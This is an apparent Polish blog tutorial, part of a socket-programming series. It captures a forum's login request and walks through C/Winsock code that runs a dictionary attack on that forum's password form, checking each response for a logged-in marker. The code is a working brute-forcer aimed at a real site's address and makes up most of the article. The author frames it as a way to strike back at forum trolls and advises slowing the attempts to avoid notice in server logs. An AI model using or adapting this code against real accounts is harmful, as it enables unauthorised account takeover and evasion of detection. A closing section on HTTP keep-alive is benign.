TCP/IP - part III

Na koniec poprzedniego arta o skanerze TCP/IP napisałem, że w kolejnym arcie można zrobić skaner oparty na testowaniu portów tylko jedną flagą np SYN. W zasadzie stwierdzam, że nie jest to na tyle trudne, żeby poświęcać na to osobny art bo doskonały wzór na to rozwiązanie zawarty jest w poprzednich dwóch artach. Jest tam opisana idea, są struktury, funkcje - wszystko tam jest, trzeba tylko odpowiednio zmodyfikować strukture TCP i zaznaczyć, którą flagę (pole bitowe) chce się ustawić. W wierszu poleceń można nawet dodać opcje wybrania której flagi, czy SYN, ACK a może FIN - a może i nie.

Aby zatem jeszcze bardziej wkręcić się w sockety i praktykę, można zrealizować inne ciekawe zadanie. Na bank przydażyła Ci się kiedyś sytuacja, kiedy męczyłeś się z jebanym trollem na jakimś forum. Loguje się taka pizda, wypisuje bzdury i obraża wszystkich dookoła. To co pisze jest tak durne, że zastanawiasz się skąd to coś się w ogóle wzięło. Takich zjebów jest cała masa i nie tylko w virtualu - co z tym zrobić?

Przyda się znajomość socketow, odrobina wiedzy na temat HTTP no i kompilator. Zaloguje się teraz na forum gdzie mam konto i przeanalizuję moje żądanie - REQUEST - w stronę serwera. Czym jest żądanie pobrania strony? To pakiet TCP/IP a w 'dziale' danych nagłówka TCP znajduje się moje żądanie. Jak mogę podejrzeć takie coś? Proponuję jedną z dwóch metod - wtyczka do Firefox Live HTTP Headers albo sniffer. Pierwsza opcja jest szybsza i mniej zaawansowana. Okey, Firefox otwarty, strona otwarta i gotowa do wpisania loginu i hasła, okno wtyczki Live HTTP Headers uruchomione więc wpisuję login i hasło [ENTER] i patrzę na listing:

  1. POST /index/logowanie/ HTTP/1.1
  2. Host: www.devilpage.pl
  3. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.5)
  4. Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
  5.  
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  7. Accept-Language: pl,en-us;q=0.7,en;q=0.3
  8. Accept-Encoding: gzip,deflate
  9. Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
  10. Keep-Alive: 300
  11. Connection: keep-alive
  12. Referer: http://www.devilpage.pl/
  13. Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........
  14. Content-Type: application/x-www-form-urlencoded
  15. Content-Length: 6.
  16. login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj

Co to jest? To jest zapytanie jakie skonstruowała moja przeglądarka w celu pobrania strony, na której będę widnieć jako użytkownik ZALOGOWANY. Okey, ale co dalej z tym robić? Pierwsza sprawa - dobrze byłoby wiedzieć, że to co przedstawione wyżej ( REQUEST ), może a nawet POWINNO znaleźć się w moim pakiecie jaki wystrzele w kierunku serwera HTTP.

Czy muszę budować pakiet od nowa jak w pierwszym arcie? Absolutnie NIE! Tutaj wystarczy, że przekażę taki właśnie REQUEST do bufora przy okazji wywołania funkcji send() - proste. Bufor w tej funkcji stanowi dane protokołu TCP. Protokoły warstwy aplikacji modelu OSI w Internecie porozumiewają się właśnie na bazie danych protokołu TCP - czyli takiego bufora.

  1. char httpRequest[] = { "POST /index/logowanie/ HTTP/1.1\r\n\"
  2. "Host: www.devilpage.pl\r\n"
  3. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.5) "
  4. "Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)\r\n"
  5.  
  6. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  7. "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
  8. "Accept-Encoding: gzip,deflate\r\n"
  9. "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n"
  10. "Keep-Alive: 300\r\n"
  11. "Connection: keep-alive\r\n"
  12. "Referer: http://www.devilpage.pl/\r\n"
  13. "Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........\r\n"
  14. "Content-Type: application/x-www-form-urlencoded\r\n"
  15. "Content-Length: 6.\r\n\r\n"
  16. "login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj" };

To jest właśnie bufor jaki przekażę jako parametr do funkcji send. Dlaczego prawie? No i teraz trochę o HTTP: żądanie pobrania zasobu np strony z serwera HTTP składa się z nagłowków. Są one opcjonalne a ich kolejność nie ma znaczenia - serwer HTTP i tak odpowiednio je zinterpretuje. Ale żeby zapytanie miało sens, muszą pojawić się niektóre nagłowki. Na pewno pierwszy nagłówek (1) POST(...), (2) Host:(...) - tyle w zasadzie wystarczy do pobrania strony z serwera HTTP. Gdzieś tam kiedyś pewnie widziałeś telnetową sesję pobrania strony - ktoś tam wpisywał GET X [ENTER] Host: Y [ENTERx2] a w konsoli pojawiał się kod źródłowy strony. Serwer HTTP oraz inne protokoły warstwy aplikacji interpretują po prostu linijka po linijce (\r\n\) bufor rządania i postępują zgodnie ze specyfikacją protokołu.

Mi do zalogowania się na stronę forum nie wystarczą te dwa nagłowki. Łatwiej będzie odsiać to czego nie potrzebuję - pominę bankowo nagłowek: Accept-Encoding: gzip,deflate. Why - nie chcę aby strona jaka zostanie pobrana przy okazji mojego żądania była zapełniona krzaczkami w związku z zakodowaniem jej treści. W razie braku tego nagłówka, serwer domyślnie wyślę do mnie czytelny kod strony WWW (zupełnie zrozumiały a nie jakieś chwasty). Co by tu jeszcze pominąć? Może nic więcej? - okey. Ale dlaczego nie pasują mi te krzaki? Dlatego, że teraz zaloguje się na forum i poszukam jakieś charakterystycznego fragmentu kodu źródłowego strony, który odróżnia stan zalogowania od stanu niezalogowania:

  1. <div id="profil">
  2. <form action="/index/logowanie/" method="post">
  3. <table class="log_form">
  4. <tr>
  5. <td><strong>Login:</strong></td>
  6. <td align="right"><input type="text" name="login" size="15" /></td>
  7. <td><input type="checkbox" checked="checked" name="pam" class="pam" /> Zapamiętaj</td>
  8. </tr>
  9. <tr>
  10. <td><strong>Hasło:</strong></td>
  11. <td align="right"><input type="password" name="haslo" size="15"/></td>
  12. <td><input type="submit" name="zaloguj" value="Zaloguj" /></td>
  13. </tr>
  14. <tr>
  15. <td colspan="6" align="center"><a href="/index/reg/">Zarejestruj się</a> - <a href="/index/haslo/">
  16. Przypomnij hasło</a> </td>
  17. </tr>
  18. </table>
  19. </form>
  20. </div>

A po zalogowaniu:

  1. <div id="profil">
  2. <div class="av"><img src="/img/avatary/prot.png" alt="prot" border="0" /></div>
  3. <span class="profil_sep"></span>
  4. Witaj <strong><a href="/index/profile/pokaz/28607/prot">prot</a></strong><br />
  5.  
  6. <table style="font-size: 9pt;">
  7. <tr>
  8. <td>&amp;raquo; <a href="/index/profile/edytuj/">edytuj profil</a></td>
  9. <td>&amp;raquo; <a href="/index/pw/">wiadomości (0)</a></td>
  10. </tr>
  11. <tr>
  12. <td>&amp;raquo; <a href="/index/newsy_od_userow/">prześlij newsa</a></td>
  13. <td>&amp;raquo; <a href="/index/logowanie/wyloguj/">wyloguj się</a></td>
  14. </tr>
  15. </table>
  16. </div>

Po co to? Jeśli uda mi się pobrać stronę ale podałem błędne hasło - wtedy w buforze odpowiedzi otrzymam kod pierwszy. Jeśli wyślę żądanie z poprawnym hasłem, wtedy otrzymam w buforze odpowiedzi od serwera drugi kod. Wystarczy sprawdzić po każdej odpowiedzi serwera, czy w buforze odpowiedzi znajduje jakiś charakterystyczny fragment np: [ alt="prot" ] - wtedy będę wiedział, że udało mi się wysłać zupełnie poprawne żądanie. Teraz wiesz już dlaczego nie można pozwolić aby serwer przesłał w odpowiedzi krzaki (skompresowaną witrynę). Zwróc uwagę na ostatnią linię żądania - są tam parametry logowania. Zwróc też uwagę na nagłowek Content-Length: - zawiera on wartość stanowiącą długość ostatniej lini mojego żądania.

Co dalej - teraz wystarczy wygenerować jakiś pliczek z hasłami, proponuję najpierw utworzyć go ręcznie tzn wpisać hasła prawdopodobne, głupie, oczywiste, wykonać ich drobą permutację [ online ] - przygotować się generalnie do ataku słownikowego ale z głową. Następnie w pętli będziesz musiał modyfikować odpowiednio bufor tak, aby ostatnia linia zawierała hasło pobrane z pliku a nagłowek Content-Length zmieniał się w zależności od długości ostatniej linii żądania. Następnie taki Request przesyłasz do serwera i czekasz na odpowiedź. W buforze odpowiedzi szukasz charakterystycznego fragmentu kodu - jeśli znalazłeś - udało Ci się zalogować, jeśli nie - działasz dalej:

  1. int _tmain(int argc, _TCHAR* argv[])
  2. {
  3. WSADATA wsaData;
  4.  
  5. if(WSAStartup(MAKEWORD(1,1), &amp;wsaData) != 0)
  6. {
  7. fprintf(stderr,"WSAStartup failed.\n");
  8. getch();
  9. return(-1);
  10. } else {
  11. fprintf(stdout,"WSAStartup success.\n");
  12. }
  13.  
  14. FILE *fPtr = fopen( "C:\\pass.txt", "r" );
  15. int ileHasel = policzHasla( fPtr );
  16. fprintf( stdout, "Ilosc hasel: %d\n", ileHasel );
  17. char buforRequest[1024] = { "POST /index/logowanie/ HTTP/1.1\r\n"
  18. "Host: www.devilpage.pl\r\n"
  19. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  20. "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
  21. "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n"
  22. "Keep-Alive: 300\r\n"
  23. "Connection: keep-alive\r\n"
  24. "Referer: <a href="http://www.devilpage.pl/">http://www.devilpage.pl/</a>\r\n" };
  25. for( int n=0; n<ileHasel; n++ ) {
  26. char payload[256];
  27. memset( payload, 0, 256 ); /* login &amp; password */
  28. char passBuffer[32];
  29. memset( passBuffer, 0, 32 );
  30.  
  31. char buforRequestSend[1024];
  32. memset( buforRequestSend, 0, 1024 );
  33. strcpy( buforRequestSend, buforRequest );
  34.  
  35. if( createPayload( "prot", pobierzHaslo( fPtr, passBuffer ), payload ) == 0 )
  36. break;
  37.  
  38. char buforTemp[1024];
  39. memset( buforTemp, 1, 1024 );
  40. strcpy( &amp;buforRequestSend[ strlen( buforRequestSend ) ], addCookie( "Cookie: 90plan=R42640.....;
  41. PHPSESSID=e73e411183364c2baf226e77........\r\n", payload, buforTemp ));
  42.  
  43. if( SendRequest( buforRequestSend, passBuffer, n ) )
  44. break;
  45. }
  46.  
  47. WSACleanup();
  48. fclose( fPtr );
  49. return 0;

 

To jest funkcja Main - przygotowałem tutaj podstawę bufora żądania - będę do niego po kolei doklejać kolejne elementy. Kolejne funkcje przedstawiają się następująco:

 

  1. int policzHasla( FILE *fPtr ) {
  2.  
  3. char temp[32];
  4. int ile = 0;
  5.  
  6. while( fgets( temp, 32, fPtr ) != NULL )
  7. ile+=1;
  8.  
  9. fseek( fPtr, 0, SEEK_SET );
  10. return ile;
  11. }

Funkcja zlicza ilość haseł w Twoim pliku - mała uwaga: w kodzie źródłowym strony widać, że hasło może mieć max 15 znaków. Jednak bufor na hasło powinien mieć maxymalnie 45 bajtów - why? Ponieważ znaki typu '!' są zamieniane do postaci '%21'. Jeśli hasło stanowi 15x! to 15x3=45. Swój bufor ustawiłem na mniejszy ale nie wpisywałem w ogóle w pliku haseł zawierających znaki typu #$% - trochę dużo roboty z tym - ale to nieistotny dla idei szczegół techniczny. Poszukaj informacji na temat nagłówka Content-Type: application/x-www-form-urlencoded a dowiesz się bardziej szczególowo o co kaman. Dalej:

  1. char* createPayload( char login[], char password[], char payload[] ) {
  2.  
  3. if( strlen( password ) == 0 )
  4. return 0;
  5.  
  6. char tempPayload[128] = { "login=&amp;pam=on&amp;haslo=&amp;zaloguj=Zaloguj" };
  7. char temp[128];
  8. memset( temp, 0, 128 );
  9.  
  10. int i=0;
  11. int k = 0;
  12. int n = 0;
  13.  
  14. while( tempPayload[i] != '\0' ) {
  15. strncpy( &amp;temp[n], &amp;tempPayload[i], 1 );
  16.  
  17. if( temp[n] == '=' ) {
  18.  
  19. if( k == 0 ) {
  20. strcat( &amp;temp[n+1], login );
  21. n+=strlen(login)+1;
  22. }
  23.  
  24. if( k == 1 ) {
  25. strcat( &amp;temp[n+1], "on" );
  26. n+=strlen("on")+1;
  27. i+=2;
  28. }
  29.  
  30. if( k == 2 ) {
  31. strcat( &amp;temp[n+1], password );
  32. n+=strlen(password)+1;
  33. }
  34.  
  35. if( k == 3 ) {
  36. strcat( &amp;temp[n+1], "Zaloguj" );
  37. break;
  38. }
  39. k = k + 1;
  40. }
  41. else
  42. n++;
  43.  
  44. i++;
  45. }
  46.  
  47. return strcpy( payload, temp );
  48. }

W tej funkcji dochodzi do sklejenia ostatniej linii żądania - tempPayload to string bazowy a temp będzie po kolei wyposażany w elementy stringu bazowego oraz login i hasło. Efektem końcowym działania tej funkcji jest payload o zawartości: login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj

  1. char *addCookie( char *cookie, char *loginPass, char bufor[] ) {
  2.  
  3. // strcat( bufor, cookie );
  4. strcpy( bufor, cookie );
  5.  
  6. char payloadType[] = { "Content-Type: application/x-www-form-urlencoded\r\n" };
  7. strcat( bufor, payloadType );
  8.  
  9. int len = strlen( loginPass );
  10. char contLen[256] = { "Content-Length: " } ;
  11. char buf[8];
  12. itoa( len, buf, 10 );
  13. strcat( contLen, buf );
  14. strcat( contLen, "\r\n\r\n" );
  15. strcat( contLen, loginPass );
  16.  
  17. return strcat( bufor, contLen );
  18. }

Mój kod przewiduje podanie identyfikatora sesji w wierszu poleceń, ze względu na jego wygaśnięcie. Tak więc musisz sam zdecydować, czy jechać na w miarę świeżym cookie i nie zmieniać Requesta w tym kontekście czy usunąć z bazowego Requesta Cookie i doklejać go po wysnifowaniu aktualnego. Wysnifować możesz poprzez wtyczkę do Firefoxa Live HTTP Headers i podać jako argument argv[1] (odpowiednio dalej modyfikując lekko kod ). Jak widać w kodzie wbiłem też i swoją nazwę użytkownika na stałe a nazwa ta powinna stanowić argument argv[2] programu - no cóź, spieszyło mi się - ale to nie błąd.

Jako cookie podaj te, które otrzymałeś przed zalogowaniem się do serwisu. Jeśli użyjesz tego, które serwer przesłał Ci po zalogowaniu się to po wylogowaniu się serwer usunie z tablicy globalnej identyfikatorów sesji Twój identyfikator. Jeśli postanowisz wykorzystać nieaktualne cookie aby zalogować się do serwisu ponownie to serwer nie znajdzie Twojego identyfikatora sesji i login nie przejdzie.

  1. bool SendRequest( char bufferRequest[], char *pass, int n )
  2. {
  3. if( strlen( bufferRequest ) == 0 || strlen( pass ) == 0)
  4. return false;
  5.  
  6. int sock = socket(AF_INET, SOCK_STREAM, 0);
  7.  
  8. const char* cMyIp = "87.98.239.2"; /* www.devilpage.pl */
  9. unsigned short sockPort = 80;
  10. struct sockaddr_in serv;
  11. memset(&amp;serv, 0, sizeof(serv));
  12. serv.sin_family = AF_INET;
  13. serv.sin_addr.s_addr = inet_addr(cMyIp);
  14. serv.sin_port = htons(sockPort);
  15.  
  16. connect(sock, (const sockaddr*) &amp;serv, sizeof(serv));
  17. send(sock, bufferRequest, strlen(bufferRequest), 0);
  18. char *cBufferResponse = (char*)malloc(sizeof(char)*1024);
  19.  
  20. for( ; ; )
  21. {
  22. if( (recv(sock,cBufferResponse,1024,0)) > 0 ) {
  23.  
  24. if( strstr( cBufferResponse, "alt=\"prot\"" ) != NULL )
  25. {
  26. fprintf( stdout, "Zalogowany! Haslo: %s\n", pass );
  27. return true;
  28. }
  29.  
  30. continue;
  31. }
  32. fprintf( stdout, "Haslo [%d]: %s - niepoprawne.\n", n, pass );
  33. break;
  34.  
  35. }
  36.  
  37. shutdown( sock, 0 );
  38. closesocket(sock);
  39. free(cBufferResponse);
  40. return false;
  41. }

Najważniejsza funkcja - tutaj przesyłam sklejone żądanie do serwera WWW i parsuję bufor odpowiedzi - efekt prezentuję się następująco:

http login

 

Jak uzyskać adres IP na bazie nazwy Hosta? - to pokazaywałem w poprzednim arcie. Tutaj wbiłem IP na sztywno - wiadomo - spieszyło mi się. Hasło na screenie ma 18 znaków a max miałbyć ile? - 15 - nieistotny szczegół. Szansa powodzenia jak w każdym ataku słownikowym - ale ten kod może posłużyć jako bazowy do implementacji własnego pomysłu. Trzeba dodać obsługę zaków !@#$%^&*(), zwiększyć może interwał logowania, żeby burdelu w logach nie narobić - co chcesz.

Znów okazało się, że przy pomocy socketow można robić sporo ciekawych rzeczy. Na temat: po 3 artach mógłby już wpaść do głowy pomysł zrobienia może jakiegoś własnego protokołu komunikacyjnego (warstwy aplikacji) z ziomami - jeśli polega to w zasadzie tylko na odpowiednim skonstruowaniu bufora dla funkcji send i odczytania tego bufora po drugiej stronie to chyba nic trudnego? Można spróbować.

Jest jeszcze jeden fajny aspekt apropo HTTP związany z protokołem TCP/IP - nagłówek Keepalive: X - o co w nim biega? X oznacza timer, który będze zbiegał do 0 po każdej sekundzie. Po tym czasie zostanie do serwera przesłany jakiś pakiet - zapewne o zerowej długości z ustawioną flagą ACK - po co? Tylko po to, żeby o sobie przypomnieć. Ale jak to? Wyobraź sobie, że wszystkie połączenia z serwerem przechodzą przez super Firewall. Taki Firewall posiada ogromną tablicę w której przechowuje informacje o połączeniach. Gdzieś tam jest też informacja o Twoim połączeniu z serwisem. Wyobraź sobie, że nawiązałeś połączenie z serwisem X i poszedłeś na kawe i np założyłeś blokadę w swoim firewallu na wszelkie połączenia wychodzące od tej pory. Wracasz i okazuje się, że po odblokowaniu swojego firewalla i odświeżeniu strony serwisu - ten wita Ci jakby widział Ciebie pierwszy raz - czemu tak się dzieje?

Tablica, którą Firewall po stronie serwera WWW przechowuje w swojej pamięci jest oczywiście ograniczona ilością pamięci. Kiedy Ty poszedłeś na kawę i na wszelki wypadek zablokowałeś połączenia to w tym czasie z serwisem mogło połączyć się mnóstwo ludzi. Tablica Firewalla ma za zadanie przechowywać wpisy do momentu aż będzie dla nich miejsce. Jeśli tablica ma np 10 pozycji, Ty się zalogowałeś i jesteś na szczycie czyli zajmujesz pozycję nr 1 - idziesz na kawę, w tym czasie loguje się 9 osoób i momentalnie spadasz na pozycję nr 10. Loguje się kolejna osoba i wypadasz z tablicy znanych połączeń - koszmar. Jeśli nie zblokowałbyś firewalla to nagłowek Keepalive spowodowałby wysłanie po 5 minutach pakietu, który umieściłby informację o Twoim już wcześniej nawiązanym połączeniu znowu u góry tej tablicy - nie utraciłbyś połączenia z serwisem.